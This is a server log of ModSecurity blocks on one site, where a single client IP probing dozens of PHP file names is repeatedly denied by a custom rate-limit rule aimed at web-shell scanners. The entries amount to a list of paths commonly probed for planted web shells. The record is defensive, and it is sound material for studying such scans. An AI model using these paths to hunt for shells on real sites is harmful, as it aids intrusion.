[Mon Apr 27 07:37:27.716182 2026] [:error] [pid 36789:tid 36792] [client 20.111.17.80:56073] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ae6ht9nrZBzXPaJGSeLqsgAAAME"]
[Mon Apr 27 07:37:32.965154 2026] [:error] [pid 36490:tid 36549] [client 20.111.17.80:48349] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ae6hvExiWa1s9LPhuWK26gAAAIE"]
[Mon Apr 27 07:37:37.356639 2026] [:error] [pid 36789:tid 36803] [client 20.111.17.80:53918] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ae6hwdnrZBzXPaJGSeLquwAAAMw"]
[Mon Apr 27 07:37:40.295859 2026] [:error] [pid 36490:tid 36563] [client 20.111.17.80:56071] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ae6hxExiWa1s9LPhuWK27gAAAI8"]
[Mon Apr 27 07:37:47.282764 2026] [:error] [pid 36789:tid 36812] [client 20.111.17.80:48357] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koiy.php"] [unique_id "ae6hy9nrZBzXPaJGSeLqwgAAANU"]
[Mon Apr 27 07:37:55.333072 2026] [:error] [pid 36489:tid 36534] [client 20.111.17.80:47824] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koiy.php"] [unique_id "ae6h046sRkW8OfGv18q3ewAAAE0"]
[Mon Apr 27 07:38:08.158084 2026] [:error] [pid 36490:tid 36558] [client 20.111.17.80:62405] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "ae6h4ExiWa1s9LPhuWK3CAAAAIo"]
[Mon Apr 27 07:38:11.934402 2026] [:error] [pid 36488:tid 36513] [client 20.111.17.80:7255] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "ae6h48IA2VZgjxmwXxP6kgAAABQ"]
[Mon Apr 27 07:38:35.742379 2026] [:error] [pid 36575:tid 36579] [client 20.111.17.80:62409] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "ae6h-7eGZIkifrMjcl9PiQAAAQI"]
[Mon Apr 27 07:38:40.265047 2026] [:error] [pid 36789:tid 36791] [client 20.111.17.80:8067] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "ae6iANnrZBzXPaJGSeLrGAAAAMA"]
[Mon Apr 27 07:38:43.943729 2026] [:error] [pid 36575:tid 36583] [client 20.111.17.80:62454] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "ae6iA7eGZIkifrMjcl9PnAAAAQY"]
[Mon Apr 27 07:38:48.369795 2026] [:error] [pid 36789:tid 36809] [client 20.111.17.80:37150] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "ae6iCNnrZBzXPaJGSeLrIAAAANI"]
[Mon Apr 27 07:38:54.414821 2026] [:error] [pid 36489:tid 36527] [client 20.111.17.80:7388] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ae6iDo6sRkW8OfGv18q32wAAAEY"]
[Mon Apr 27 07:38:57.254897 2026] [:error] [pid 36490:tid 36568] [client 20.111.17.80:41091] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ae6iEUxiWa1s9LPhuWK3RwAAAJQ"]
[Mon Apr 27 07:38:59.050174 2026] [:error] [pid 36490:tid 36569] [client 20.111.17.80:41143] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ae6iE0xiWa1s9LPhuWK3UwAAAJU"]
[Mon Apr 27 07:39:01.544095 2026] [:error] [pid 36490:tid 36569] [client 20.111.17.80:64640] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ae6iFUxiWa1s9LPhuWK3YwAAAJU"]
[Mon Apr 27 07:39:03.461329 2026] [:error] [pid 36488:tid 36500] [client 20.111.17.80:41639] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casp1.php"] [unique_id "ae6iF8IA2VZgjxmwXxP6rwAAAAc"]
[Mon Apr 27 07:39:05.490809 2026] [:error] [pid 36575:tid 36598] [client 20.111.17.80:64619] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casp1.php"] [unique_id "ae6iGbeGZIkifrMjcl9PpwAAARU"]
[Mon Apr 27 07:39:07.773530 2026] [:error] [pid 36489:tid 36532] [client 20.111.17.80:56013] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casp1.php"] [unique_id "ae6iG46sRkW8OfGv18q3-AAAAEs"]
[Mon Apr 27 07:39:09.314126 2026] [:error] [pid 36575:tid 36578] [client 20.111.17.80:37576] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casp1.php"] [unique_id "ae6iHbeGZIkifrMjcl9PrgAAAQE"]
[Mon Apr 27 07:39:11.232029 2026] [:error] [pid 36575:tid 36586] [client 20.111.17.80:61989] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "ae6iH7eGZIkifrMjcl9PswAAAQk"]
[Mon Apr 27 07:39:12.170799 2026] [:error] [pid 36575:tid 36581] [client 20.111.17.80:52254] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "ae6iILeGZIkifrMjcl9PtwAAAQQ"]
[Mon Apr 27 07:39:13.190398 2026] [:error] [pid 36575:tid 36594] [client 20.111.17.80:42631] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "ae6iIbeGZIkifrMjcl9PuQAAARE"]
[Mon Apr 27 07:39:14.475283 2026] [:error] [pid 36789:tid 36808] [client 20.111.17.80:52211] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "ae6iItnrZBzXPaJGSeLrQQAAANE"]
[Mon Apr 27 07:39:15.955298 2026] [:error] [pid 36789:tid 36813] [client 20.111.17.80:7995] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "ae6iI9nrZBzXPaJGSeLrRwAAANY"]
[Mon Apr 27 07:39:17.113231 2026] [:error] [pid 36488:tid 36509] [client 20.111.17.80:7963] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "ae6iJcIA2VZgjxmwXxP6vgAAABA"]
[Mon Apr 27 07:39:18.455914 2026] [:error] [pid 36575:tid 36581] [client 20.111.17.80:42671] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "ae6iJreGZIkifrMjcl9PvgAAAQQ"]
[Mon Apr 27 07:39:19.758544 2026] [:error] [pid 36488:tid 36497] [client 20.111.17.80:52181] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "ae6iJ8IA2VZgjxmwXxP6wgAAAAQ"]
[Mon Apr 27 07:39:23.136819 2026] [:error] [pid 36575:tid 36601] [client 20.111.17.80:45697] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ae6iK7eGZIkifrMjcl9PxAAAARg"]
[Mon Apr 27 07:39:25.948805 2026] [:error] [pid 36490:tid 36548] [client 20.111.17.80:42683] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ae6iLUxiWa1s9LPhuWK3wQAAAIA"]
[Mon Apr 27 07:39:27.997481 2026] [:error] [pid 36575:tid 36582] [client 20.111.17.80:45745] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ae6iL7eGZIkifrMjcl9PzAAAAQU"]
[Mon Apr 27 07:39:30.262148 2026] [:error] [pid 36489:tid 36524] [client 20.111.17.80:7220] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ae6iMo6sRkW8OfGv18q4DwAAAEM"]
[Mon Apr 27 07:39:32.714612 2026] [:error] [pid 36489:tid 36526] [client 20.111.17.80:45744] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "ae6iNI6sRkW8OfGv18q4GAAAAEU"]
[Mon Apr 27 07:39:56.587743 2026] [:error] [pid 36789:tid 36799] [client 20.111.17.80:38247] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "ae6iTNnrZBzXPaJGSeLrlgAAAMg"]
[Mon Apr 27 07:39:59.448989 2026] [:error] [pid 36575:tid 36596] [client 20.111.17.80:50059] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "ae6iT7eGZIkifrMjcl9P4wAAARM"]
[Mon Apr 27 07:40:01.716083 2026] [:error] [pid 36490:tid 36570] [client 20.111.17.80:7803] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "ae6iUUxiWa1s9LPhuWK34wAAAJY"]
[Mon Apr 27 07:40:04.549702 2026] [:error] [pid 36789:tid 36811] [client 20.111.17.80:63374] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "ae6iVNnrZBzXPaJGSeLroAAAANQ"]
[Mon Apr 27 07:40:08.385898 2026] [:error] [pid 36490:tid 36552] [client 20.111.17.80:52894] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "ae6iWExiWa1s9LPhuWK3_QAAAIQ"]
[Mon Apr 27 07:40:09.672989 2026] [:error] [pid 36575:tid 36601] [client 20.111.17.80:62521] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "ae6iWbeGZIkifrMjcl9P9gAAARg"]
[Mon Apr 27 07:40:17.866659 2026] [:error] [pid 36789:tid 36802] [client 20.111.17.80:50514] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "ae6iYdnrZBzXPaJGSeLrqgAAAMs"]
[Mon Apr 27 07:40:23.513431 2026] [:error] [pid 36490:tid 36555] [client 20.111.17.80:50529] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fsjzs.php"] [unique_id "ae6iZ0xiWa1s9LPhuWK4FAAAAIc"]
[Mon Apr 27 07:40:31.786937 2026] [:error] [pid 36488:tid 36499] [client 20.111.17.80:49503] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fsjzs.php"] [unique_id "ae6ib8IA2VZgjxmwXxP66QAAAAY"]
[Mon Apr 27 07:40:48.663173 2026] [:error] [pid 36490:tid 36566] [client 20.111.17.80:47416] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "ae6igExiWa1s9LPhuWK4NAAAAJI"]
[Mon Apr 27 07:40:52.692508 2026] [:error] [pid 36789:tid 36797] [client 20.111.17.80:54886] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "ae6ihNnrZBzXPaJGSeLsAQAAAMY"]
[Mon Apr 27 07:41:05.327445 2026] [:error] [pid 36575:tid 36590] [client 20.111.17.80:47374] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ai.php"] [unique_id "ae6ikbeGZIkifrMjcl9QPQAAAQ0"]
[Mon Apr 27 07:41:07.957330 2026] [:error] [pid 36789:tid 36805] [client 20.111.17.80:38686] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ai.php"] [unique_id "ae6ik9nrZBzXPaJGSeLsHQAAAM4"]
[Mon Apr 27 07:41:10.879463 2026] [:error] [pid 36789:tid 36793] [client 20.111.17.80:38663] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ai.php"] [unique_id "ae6iltnrZBzXPaJGSeLsIQAAAMI"]
[Mon Apr 27 07:41:12.241638 2026] [:error] [pid 36789:tid 36797] [client 20.111.17.80:43645] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ai.php"] [unique_id "ae6imNnrZBzXPaJGSeLsJQAAAMY"]
[Mon Apr 27 07:41:13.734786 2026] [:error] [pid 36789:tid 36802] [client 20.111.17.80:42579] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ae6imdnrZBzXPaJGSeLsMAAAAMs"]
[Mon Apr 27 07:41:14.731079 2026] [:error] [pid 36789:tid 36797] [client 20.111.17.80:43615] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ae6imtnrZBzXPaJGSeLsNQAAAMY"]
[Mon Apr 27 07:41:16.467898 2026] [:error] [pid 36789:tid 36796] [client 20.111.17.80:42567] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ae6inNnrZBzXPaJGSeLsOQAAAMU"]
[Mon Apr 27 07:41:19.270418 2026] [:error] [pid 36789:tid 36809] [client 20.111.17.80:51693] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ae6in9nrZBzXPaJGSeLsOwAAANI"]
[Mon Apr 27 07:41:21.585112 2026] [:error] [pid 36789:tid 36807] [client 20.111.17.80:7722] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "ae6iodnrZBzXPaJGSeLsQwAAANA"]
[Mon Apr 27 07:41:24.393573 2026] [:error] [pid 36575:tid 36590] [client 20.111.17.80:40068] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "ae6ipLeGZIkifrMjcl9QVgAAAQ0"]
[Mon Apr 27 07:41:27.422052 2026] [:error] [pid 36490:tid 36559] [client 20.111.17.80:49567] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "ae6ip0xiWa1s9LPhuWK4agAAAIs"]
[Mon Apr 27 07:41:28.840829 2026] [:error] [pid 36489:tid 36543] [client 20.111.17.80:42075] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "ae6iqI6sRkW8OfGv18q4-wAAAFY"]
[Mon Apr 27 07:41:31.095643 2026] [:error] [pid 36490:tid 36549] [client 20.111.17.80:63393] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "ae6iq0xiWa1s9LPhuWK4cgAAAIE"]
